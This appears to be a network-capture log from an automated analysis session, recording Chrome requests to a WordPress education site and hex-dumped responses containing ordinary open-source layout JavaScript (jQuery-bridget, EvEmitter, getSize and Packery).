3b 0a 09 7d 20 65 6c 73 65 20 69 66 20 28 20 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 20 3d 3d Data Ascii: lse / / globals define, module, require */if ( typeof define == 'function' && define.amd ) {// AMDdefine( 'jquery-bridget/jquery-bridget',[ 'jquery' ], function( jQuery ) {return factory( window, jQuery );});} else if ( typeof module ==
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 72 67 31 20 2a 2f 20 29 20 7b 0a 09 09 09 69 66 20 28 20 74 79 70 65 6f 66 20 61 72 67 30 20 3d 3d 20 27 73 74 72 69 6e 67 27 20 29 20 7b 0a 09 09 09 09 2f 2f 20 6d 65 74 68 6f 64 20 63 61 6c 6c 20 24 28 29 2e 70 6c 75 67 69 6e 28 20 27 6d 65 74 68 6f 64 4e 61 6d 65 27 2c 20 7b 20 6f 70 74 69 6f 6e 73 20 7d 20 29 0a 09 09 09 09 2f 2f 20 73 68 69 66 74 20 61 72 67 75 6d 65 6e 74 73 20 62 79 20 31 0a 09 09 09 09 76 61 72 20 61 72 67 73 20 3d 20 61 72 72 61 79 53 6c 69 63 65 2e 63 61 6c 6c 28 20 61 72 67 75 6d 65 6e 74 73 2c 20 31 20 29 3b 0a 09 09 09 09 72 65 74 75 72 6e 20 6d 65 74 68 6f 64 43 61 6c 6c 28 20 74 68 69 73 2c 20 61 72 67 30 2c 20 61 72 67 73 20 29 3b 0a 09 09 09 7d 0a 09 09 09 2f 2f 20 6a 75 73 74 20 24 28 29 2e 70 6c 75 67 69 6e 28 7b 20 6f Data Ascii: rg1 */ ) {if ( typeof arg0 == 'string' ) {// method call $().plugin( 'methodName', { options } )// shift arguments by 1var args = arraySlice.call( arguments, 1 );return methodCall( this, arg0, args );}// just $().plugin({ o
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 20 73 65 74 20 6f 70 74 69 6f 6e 73 20 26 20 69 6e 69 74 0a 09 09 09 09 09 69 6e 73 74 61 6e 63 65 2e 6f 70 74 69 6f 6e 28 20 6f 70 74 69 6f 6e 73 20 29 3b 0a 09 09 09 09 09 69 6e 73 74 61 6e 63 65 2e 5f 69 6e 69 74 28 29 3b 0a 09 09 09 09 7d 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 2f 2f 20 69 6e 69 74 69 61 6c 69 7a 65 20 6e 65 77 20 69 6e 73 74 61 6e 63 65 0a 09 09 09 09 09 69 6e 73 74 61 6e 63 65 20 3d 20 6e 65 77 20 50 6c 75 67 69 6e 43 6c 61 73 73 28 20 65 6c 65 6d 2c 20 6f 70 74 69 6f 6e 73 20 29 3b 0a 09 09 09 09 09 24 2e 64 61 74 61 28 20 65 6c 65 6d 2c 20 6e 61 6d 65 73 70 61 63 65 2c 20 69 6e 73 74 61 6e 63 65 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 29 3b 0a 09 09 7d 0a 0a 09 09 75 70 64 61 74 65 4a 51 75 65 72 79 28 20 24 20 29 3b 0a 0a 09 7d Data Ascii: set options & initinstance.option( options );instance._init();} else {// initialize new instanceinstance = new PluginClass( elem, options );$.data( elem, namespace, instance );}});}updateJQuery( $ );}
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 65 76 65 6e 74 73 20 3d 20 74 68 69 73 2e 5f 65 76 65 6e 74 73 20 7c 7c 20 7b 7d 3b 0a 09 09 2f 2f 20 73 65 74 20 6c 69 73 74 65 6e 65 72 73 20 61 72 72 61 79 0a 09 09 76 61 72 20 6c 69 73 74 65 6e 65 72 73 20 3d 20 65 76 65 6e 74 73 5b 20 65 76 65 6e 74 4e 61 6d 65 20 5d 20 3d 20 65 76 65 6e 74 73 5b 20 65 76 65 6e 74 4e 61 6d 65 20 5d 20 7c 7c 20 5b 5d 3b 0a 09 09 2f 2f 20 6f 6e 6c 79 20 61 64 64 20 6f 6e 63 65 0a 09 09 69 66 20 28 20 6c 69 73 74 65 6e 65 72 73 2e 69 6e 64 65 78 4f 66 28 20 6c 69 73 74 65 6e 65 72 20 29 20 3d 3d 20 2d 31 20 29 20 7b 0a 09 09 09 6c 69 73 74 65 6e 65 72 73 2e 70 75 73 68 28 20 6c 69 73 74 65 6e 65 72 20 29 3b 0a 09 09 7d 0a 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 3b 0a 09 7d 3b 0a 0a 09 70 72 6f 74 6f 2e 6f 6e 63 65 20 Data Ascii: events = this._events \|\| {};// set listeners arrayvar listeners = events[ eventName ] = events[ eventName ] \|\| [];// only add onceif ( listeners.indexOf( listener ) == -1 ) {listeners.push( listener );}return this;};proto.once
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 76 61 72 20 6c 69 73 74 65 6e 65 72 20 3d 20 6c 69 73 74 65 6e 65 72 73 5b 69 5d 0a 09 09 09 76 61 72 20 69 73 4f 6e 63 65 20 3d 20 6f 6e 63 65 4c 69 73 74 65 6e 65 72 73 20 26 26 20 6f 6e 63 65 4c 69 73 74 65 6e 65 72 73 5b 20 6c 69 73 74 65 6e 65 72 20 5d 3b 0a 09 09 09 69 66 20 28 20 69 73 4f 6e 63 65 20 29 20 7b 0a 09 09 09 09 2f 2f 20 72 65 6d 6f 76 65 20 6c 69 73 74 65 6e 65 72 0a 09 09 09 09 2f 2f 20 72 65 6d 6f 76 65 20 62 65 66 6f 72 65 20 74 72 69 67 67 65 72 20 74 6f 20 70 72 65 76 65 6e 74 20 72 65 63 75 72 73 69 6f 6e 0a 09 09 09 09 74 68 69 73 2e 6f 66 66 28 20 65 76 65 6e 74 4e 61 6d 65 2c 20 6c 69 73 74 65 6e 65 72 20 29 3b 0a 09 09 09 09 2f 2f 20 75 6e 73 65 74 20 6f 6e 63 65 Data Ascii: s.length; i++ ) {var listener = listeners[i]var isOnce = onceListeners && onceListeners[ listener ];if ( isOnce ) {// remove listener// remove before trigger to prevent recursionthis.off( eventName, listener );// unset once
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 69 73 56 61 6c 69 64 20 26 26 20 6e 75 6d 3b 0a 09 7d 0a 0a 09 66 75 6e 63 74 69 6f 6e 20 6e 6f 6f 70 28 29 20 7b 7d 0a 0a 09 76 61 72 20 6c 6f 67 45 72 72 6f 72 20 3d 20 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 20 3f 20 6e 6f 6f 70 20 3a 0a 09 09 66 75 6e 63 74 69 6f 6e 28 20 6d 65 73 73 61 67 65 20 29 20 7b 0a 09 09 09 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 20 6d 65 73 73 61 67 65 20 29 3b 0a 09 09 7d 3b 0a 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 6d 65 61 73 75 72 65 6d 65 6e 74 73 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2f 2f 0a 0a 09 76 61 72 20 6d 65 61 73 75 72 65 6d 65 6e 74 73 20 3d 20 5b 0a 09 09 27 70 Data Ascii: isValid && num;}function noop() {}var logError = typeof console == 'undefined' ? noop :function( message ) {console.error( message );};// -------------------------- measurements -------------------------- //var measurements = ['p
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 0a 0a 09 76 61 72 20 69 73 42 6f 78 53 69 7a 65 4f 75 74 65 72 3b 0a 0a 09 2f 2a 2a 0a 09 20 2a 20 73 65 74 75 70 0a 09 20 2a 20 63 68 65 63 6b 20 69 73 42 6f 78 53 69 7a 65 72 4f 75 74 65 72 0a 09 20 2a 20 64 6f 20 6f 6e 20 66 69 72 73 74 20 67 65 74 53 69 7a 65 28 29 20 72 61 74 68 65 72 20 74 68 61 6e 20 6f 6e 20 70 61 67 65 20 6c 6f 61 64 20 66 6f 72 20 46 69 72 65 66 6f 78 20 62 75 67 0a 09 20 2a 2f 0a 09 66 75 6e 63 74 69 6f 6e 20 73 65 74 75 70 28 29 20 7b 0a 09 09 2f 2f 20 73 65 74 75 70 20 6f 6e 63 65 0a 09 09 69 66 20 28 20 69 73 53 65 74 75 70 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 7d 0a 09 09 69 73 53 65 74 75 70 20 3d 20 74 72 75 65 3b 0a 0a 09 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: var isBoxSizeOuter;/** * setup * check isBoxSizerOuter * do on first getSize() rather than on page load for Firefox bug */function setup() {// setup onceif ( isSetup ) {return;}isSetup = true;// ------------------------
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 66 20 68 69 64 64 65 6e 2c 20 65 76 65 72 79 74 68 69 6e 67 20 69 73 20 30 0a 09 09 69 66 20 28 20 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 20 27 6e 6f 6e 65 27 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 67 65 74 5a 65 72 6f 53 69 7a 65 28 29 3b 0a 09 09 7d 0a 0a 09 09 76 61 72 20 73 69 7a 65 20 3d 20 7b 7d 3b 0a 09 09 73 69 7a 65 2e 77 69 64 74 68 20 3d 20 65 6c 65 6d 2e 6f 66 66 73 65 74 57 69 64 74 68 3b 0a 09 09 73 69 7a 65 2e 68 65 69 67 68 74 20 3d 20 65 6c 65 6d 2e 6f 66 66 73 65 74 48 65 69 67 68 74 3b 0a 0a 09 09 76 61 72 20 69 73 42 6f 72 64 65 72 42 6f 78 20 3d 20 73 69 7a 65 2e 69 73 42 6f 72 64 65 72 42 6f 78 20 3d 20 73 74 79 6c 65 2e 62 6f 78 53 69 7a 69 6e 67 20 3d 3d 20 27 62 6f 72 64 65 72 2d 62 6f 78 27 3b 0a 0a 09 09 2f 2f 20 Data Ascii: f hidden, everything is 0if ( style.display == 'none' ) {return getZeroSize();}var size = {};size.width = elem.offsetWidth;size.height = elem.offsetHeight;var isBorderBox = size.isBorderBox = style.boxSizing == 'border-box';//
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 73 69 7a 65 2e 68 65 69 67 68 74 20 3d 20 73 74 79 6c 65 48 65 69 67 68 74 20 2b 0a 09 09 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 61 64 64 20 70 61 64 64 69 6e 67 20 61 6e 64 20 62 6f 72 64 65 72 20 75 6e 6c 65 73 73 20 69 74 27 73 20 61 6c 72 65 61 64 79 20 69 6e 63 6c 75 64 69 6e 67 20 69 74 0a 09 09 09 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 20 69 73 42 6f 72 64 65 72 42 6f 78 53 69 7a 65 4f 75 74 65 72 20 3f 20 30 20 3a 20 70 61 64 64 69 6e 67 48 65 69 67 68 74 20 2b 20 62 6f 72 64 65 72 48 65 69 67 68 74 20 29 3b 0a 09 09 7d 0a 0a 09 09 73 69 7a 65 2e 69 6e 6e 65 72 57 69 64 74 68 20 3d 20 73 69 7a 65 2e 77 69 64 74 68 20 2d 20 28 20 70 61 64 64 69 6e 67 57 69 64 74 68 20 2b 20 62 6f 72 64 65 72 57 69 64 74 68 20 29 3b 0a 09 09 73 Data Ascii: size.height = styleHeight + // add padding and border unless it's already including it ( isBorderBoxSizeOuter ? 0 : paddingHeight + borderHeight );}size.innerWidth = size.width - ( paddingWidth + borderWidth );s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.17	49834	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	934	OUT	GET /wp-content/themes/edumall/assets/libs/packery-mode/packery-mode.pkgd.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
2024-04-11 21:26:44 UTC	938	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:44 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7cee620f81-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-7ad0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wvada835exDoSmxZvhVZ4tdjTARqCdNyUHopDSLoL0fGhEKO8socJPBFkXRMOGSGxiirBD324QpBBUVpHp0plpGubZj%2FnY2YU0JeuydBxNwZ4KbMVhKqQX%2F3ctb8t2s49WA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:44 UTC	431	IN	Data Raw: 37 61 64 30 0d 0a 2f 2a 21 0a 20 2a 20 50 61 63 6b 65 72 79 20 6c 61 79 6f 75 74 20 6d 6f 64 65 20 50 41 43 4b 41 47 45 44 20 76 32 2e 30 2e 31 0a 20 2a 20 73 75 62 2d 63 6c 61 73 73 65 73 20 50 61 63 6b 65 72 79 0a 20 2a 2f 0a 0a 2f 2a 2a 0a 20 2a 20 52 65 63 74 0a 20 2a 20 6c 6f 77 2d 6c 65 76 65 6c 20 75 74 69 6c 69 74 79 20 63 6c 61 73 73 20 66 6f 72 20 62 61 73 69 63 20 67 65 6f 6d 65 74 72 79 0a 20 2a 2f 0a 0a 28 20 66 75 6e 63 74 69 6f 6e 28 20 77 69 6e 64 6f 77 2c 20 66 61 63 74 6f 72 79 20 29 20 7b 0a 20 20 2f 2f 20 75 6e 69 76 65 72 73 61 6c 20 6d 6f 64 75 6c 65 20 64 65 66 69 6e 69 74 69 6f 6e 0a 20 20 2f 2a 20 6a 73 68 69 6e 74 20 73 74 72 69 63 74 3a 20 66 61 6c 73 65 20 2a 2f 20 2f 2a 20 67 6c 6f 62 61 6c 73 20 64 65 66 69 6e 65 2c 20 6d 6f Data Ascii: 7ad0/! Packery layout mode PACKAGED v2.0.1 * sub-classes Packery //* * Rect * low-level utility class for basic geometry /( function( window, factory ) { // universal module definition / jshint strict: false / / globals define, mo
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 20 20 20 2f 2f 20 43 6f 6d 6d 6f 6e 4a 53 0a 20 20 20 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 20 3d 20 66 61 63 74 6f 72 79 28 29 3b 0a 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 2f 2f 20 62 72 6f 77 73 65 72 20 67 6c 6f 62 61 6c 0a 20 20 20 20 77 69 6e 64 6f 77 2e 50 61 63 6b 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 50 61 63 6b 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 50 61 63 6b 65 72 79 2e 52 65 63 74 20 3d 20 66 61 63 74 6f 72 79 28 29 3b 0a 20 20 7d 0a 0a 7d 28 20 77 69 6e 64 6f 77 2c 20 66 75 6e 63 74 69 6f 6e 20 66 61 63 74 6f 72 79 28 29 20 7b 0a 0a 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 52 65 63 74 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: // CommonJS module.exports = factory(); } else { // browser global window.Packery = window.Packery \|\| {}; window.Packery.Rect = factory(); }}( window, function factory() {// -------------------------- Rect ---------------------
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 33 33 32 0a 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 78 20 3c 20 72 65 63 74 52 69 67 68 74 20 26 26 0a 20 20 20 20 74 68 69 73 52 69 67 68 74 20 3e 20 72 65 63 74 2e 78 20 26 26 0a 20 20 20 20 74 68 69 73 2e 79 20 3c 20 72 65 63 74 42 6f 74 74 6f 6d 20 26 26 0a 20 20 20 20 74 68 69 73 42 6f 74 74 6f 6d 20 3e 20 72 65 63 74 2e 79 3b 0a 7d 3b 0a 0a 2f 2a 2a 0a 20 2a 20 40 70 61 72 61 6d 20 7b 52 65 63 74 7d 20 72 65 63 74 20 2d 20 74 68 65 20 6f 76 65 72 6c 61 70 70 69 6e 67 20 72 65 63 74 0a 20 2a 20 40 72 65 74 75 72 6e 73 20 7b 41 72 72 61 79 7d 20 66 72 65 65 52 65 63 74 73 20 2d 20 72 65 63 74 73 20 72 65 70 72 65 73 65 6e 74 69 6e 67 20 74 68 65 20 61 72 65 61 20 61 72 6f 75 6e 64 20 74 68 65 20 72 65 63 74 0a 2a 2a 2f 0a 70 72 6f 74 6f 2e 67 65 74 Data Ascii: 332 return this.x < rectRight && thisRight > rect.x && this.y < rectBottom && thisBottom > rect.y;};/** * @param {Rect} rect - the overlapping rect * @returns {Array} freeRects - rects representing the area around the rect**/proto.get
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 74 0a 20 20 20 20 7d 29 3b 0a 20 20 20 20 66 72 65 65 52 65 63 74 73 2e 70 75 73 68 28 20 66 72 65 65 52 65 63 74 20 29 3b 0a 20 20 7d 0a 0a 20 20 72 65 74 75 72 6e 20 66 72 65 65 52 65 63 74 73 3b 0a 7d 3b 0a 0a 70 72 6f 74 6f 2e 63 61 6e 46 69 74 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 72 65 63 74 20 29 20 7b 0a 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 77 69 64 74 68 20 3e 3d 20 72 65 63 74 2e 77 69 64 74 68 20 26 26 20 74 68 69 73 2e 68 65 69 67 68 74 20 3e 3d 20 72 65 63 74 2e 68 65 69 67 68 74 3b 0a 7d 3b 0a 0a 72 65 74 75 72 6e 20 52 65 63 74 3b 0a 0a 7d 29 29 3b 0a 0a 2f 2a 2a 0a 20 2a 20 50 61 63 6b 65 72 0a 20 2a 20 62 69 6e 2d 70 61 63 6b 69 6e 67 20 61 6c 67 6f 72 69 74 68 6d 0a 20 2a 2f 0a 0a 28 20 66 75 6e 63 74 69 6f 6e 28 20 77 69 6e 64 6f Data Ascii: t }); freeRects.push( freeRect ); } return freeRects;};proto.canFit = function( rect ) { return this.width >= rect.width && this.height >= rect.height;};return Rect;}));/** * Packer * bin-packing algorithm */( function( windo
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 20 74 68 69 73 2e 68 65 69 67 68 74 0a 20 20 7d 29 3b 0a 0a 20 20 74 68 69 73 2e 73 70 61 63 65 73 2e 70 75 73 68 28 20 69 6e 69 74 69 61 6c 53 70 61 63 65 20 29 3b 0a 20 20 2f 2f 20 73 65 74 20 73 6f 72 74 65 72 0a 20 20 74 68 69 73 2e 73 6f 72 74 65 72 20 3d 20 73 6f 72 74 65 72 73 5b 20 74 68 69 73 2e 73 6f 72 74 44 69 72 65 63 74 69 6f 6e 20 5d 20 7c 7c 20 73 6f 72 74 65 72 73 2e 64 6f 77 6e 77 61 72 64 4c 65 66 74 54 6f 52 69 67 68 74 3b 0a 7d 3b 0a 0a 2f 2f 20 63 68 61 6e 67 65 20 78 20 61 6e 64 20 79 20 6f 66 20 72 65 63 74 20 74 6f 20 66 69 74 20 77 69 74 68 20 69 6e 20 50 61 63 6b 65 72 27 73 20 61 76 61 69 6c 61 62 6c 65 20 73 70 61 63 65 73 0a 70 72 6f 74 6f 2e 70 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 72 65 63 74 20 Data Ascii: eight: this.height }); this.spaces.push( initialSpace ); // set sorter this.sorter = sorters[ this.sortDirection ] \|\| sorters.downwardLeftToRight;};// change x and y of rect to fit with in Packer's available spacesproto.pack = function( rect
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 20 20 74 68 69 73 2e 70 6c 61 63 65 64 28 20 72 65 63 74 20 29 3b 0a 7d 3b 0a 0a 2f 2f 20 75 70 64 61 74 65 20 73 70 61 63 65 73 20 77 69 74 68 20 70 6c 61 63 65 64 20 72 65 63 74 0a 70 72 6f 74 6f 2e 70 6c 61 63 65 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 72 65 63 74 20 29 20 7b 0a 20 20 2f 2f 20 75 70 64 61 74 65 20 73 70 61 63 65 73 0a 20 20 76 61 72 20 72 65 76 69 73 65 64 53 70 61 63 65 73 20 3d 20 5b 5d 3b 0a 20 20 66 6f 72 20 28 20 76 61 72 20 69 3d 30 3b 20 69 20 3c 20 74 68 69 73 2e 73 70 61 63 65 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 20 20 20 20 76 61 72 20 73 70 61 63 65 20 3d 20 74 68 69 73 2e 73 70 61 63 65 73 5b 69 5d 3b 0a 20 20 20 20 76 61 72 20 6e 65 77 53 70 61 63 65 73 20 3d 20 73 70 61 63 65 2e 67 65 74 4d 61 78 69 6d Data Ascii: this.placed( rect );};// update spaces with placed rectproto.placed = function( rect ) { // update spaces var revisedSpaces = []; for ( var i=0; i < this.spaces.length; i++ ) { var space = this.spaces[i]; var newSpaces = space.getMaxim
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 20 20 72 65 63 74 73 2e 73 70 6c 69 63 65 28 20 69 2c 20 31 20 29 3b 0a 20 20 20 20 20 20 20 20 72 65 63 74 20 3d 20 72 65 63 74 73 5b 69 5d 3b 20 2f 2f 20 73 65 74 20 6e 65 78 74 20 72 65 63 74 0a 20 20 20 20 20 20 20 20 63 6f 6e 74 69 6e 75 65 20 72 65 63 74 4c 6f 6f 70 3b 20 2f 2f 20 62 61 69 6c 20 6f 6e 20 63 6f 6d 70 61 72 65 4c 6f 6f 70 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 20 69 66 20 28 20 72 65 63 74 2e 63 6f 6e 74 61 69 6e 73 28 20 63 6f 6d 70 61 72 65 52 65 63 74 20 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 2f 2f 20 72 65 6d 6f 76 65 20 63 6f 6d 70 61 72 65 52 65 63 74 0a 20 20 20 20 20 20 20 20 72 65 63 74 73 2e 73 70 6c 69 63 65 28 20 69 20 2b 20 6a 2c 20 31 20 29 3b 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 6a Data Ascii: rects.splice( i, 1 ); rect = rects[i]; // set next rect continue rectLoop; // bail on compareLoop } else if ( rect.contains( compareRect ) ) { // remove compareRect rects.splice( i + j, 1 ); } else { j
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 50 61 63 6b 65 72 79 2e 49 74 65 6d 20 3d 20 66 61 63 74 6f 72 79 28 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 4f 75 74 6c 61 79 65 72 2c 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 50 61 63 6b 65 72 79 2e 52 65 63 74 0a 20 20 20 20 29 3b 0a 20 20 7d 0a 0a 7d 28 20 77 69 6e 64 6f 77 2c 20 66 75 6e 63 74 69 6f 6e 20 66 61 63 74 6f 72 79 28 20 4f 75 74 6c 61 79 65 72 2c 20 52 65 63 74 20 29 20 7b 0a 0a 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 49 74 65 6d 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2f 2f 0a 0a 76 61 72 20 64 6f 63 45 6c 65 6d 53 74 79 6c 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 73 Data Ascii: window.Packery.Item = factory( window.Outlayer, window.Packery.Rect ); }}( window, function factory( Outlayer, Rect ) {// -------------------------- Item -------------------------- //var docElemStyle = document.documentElement.s
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 3d 20 27 6e 6f 6e 65 27 3b 0a 20 20 7d 0a 20 20 74 68 69 73 2e 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 20 3d 20 66 61 6c 73 65 3b 0a 20 20 74 68 69 73 2e 67 65 74 53 69 7a 65 28 29 3b 0a 20 20 74 68 69 73 2e 6c 61 79 6f 75 74 2e 5f 73 65 74 52 65 63 74 53 69 7a 65 28 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2c 20 74 68 69 73 2e 72 65 63 74 20 29 3b 0a 20 20 74 68 69 73 2e 69 73 50 6c 61 63 69 6e 67 20 3d 20 74 72 75 65 3b 0a 7d 3b 0a 0a 70 72 6f 74 6f 2e 64 69 73 61 62 6c 65 50 6c 61 63 69 6e 67 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 74 68 69 73 2e 69 73 50 6c 61 63 69 6e 67 20 3d 20 66 61 6c 73 65 3b 0a 7d 3b 0a 0a 2f 2f 20 2d 2d 2d 2d 2d 20 20 2d 2d 2d 2d 2d 20 2f 2f 0a 0a 2f 2f 20 72 65 6d 6f 76 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f Data Ascii: = 'none'; } this.isTransitioning = false; this.getSize(); this.layout._setRectSize( this.element, this.rect ); this.isPlacing = true;};proto.disablePlacing = function() { this.isPlacing = false;};// ----- ----- //// remove element fro
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 2e 30 0a 20 2a 20 47 61 70 6c 65 73 73 2c 20 64 72 61 67 67 61 62 6c 65 20 67 72 69 64 20 6c 61 79 6f 75 74 73 0a 20 2a 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 47 50 4c 76 33 20 66 6f 72 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 75 73 65 0a 20 2a 20 6f 72 20 50 61 63 6b 65 72 79 20 43 6f 6d 6d 65 72 63 69 61 6c 20 4c 69 63 65 6e 73 65 20 66 6f 72 20 63 6f 6d 6d 65 72 63 69 61 6c 20 75 73 65 0a 20 2a 0a 20 2a 20 68 74 74 70 3a 2f 2f 70 61 63 6b 65 72 79 2e 6d 65 74 61 66 69 7a 7a 79 2e 63 6f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 36 20 4d 65 74 61 66 69 7a 7a 79 0a 20 2a 2f 0a 0a 28 20 66 75 6e 63 74 69 6f 6e 28 20 77 69 6e 64 6f 77 2c 20 66 61 63 74 6f 72 79 20 29 20 7b 0a 20 20 2f 2f 20 75 6e 69 76 65 72 73 61 6c 20 6d 6f 64 75 6c 65 20 64 65 66 Data Ascii: .0 * Gapless, draggable grid layouts * * Licensed GPLv3 for open source use * or Packery Commercial License for commercial use * * http://packery.metafizzy.co * Copyright 2016 Metafizzy */( function( window, factory ) { // universal module def

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.17	49833	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:43 UTC	917	OUT	GET /wp-content/themes/edumall/assets/js/grid-layout.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
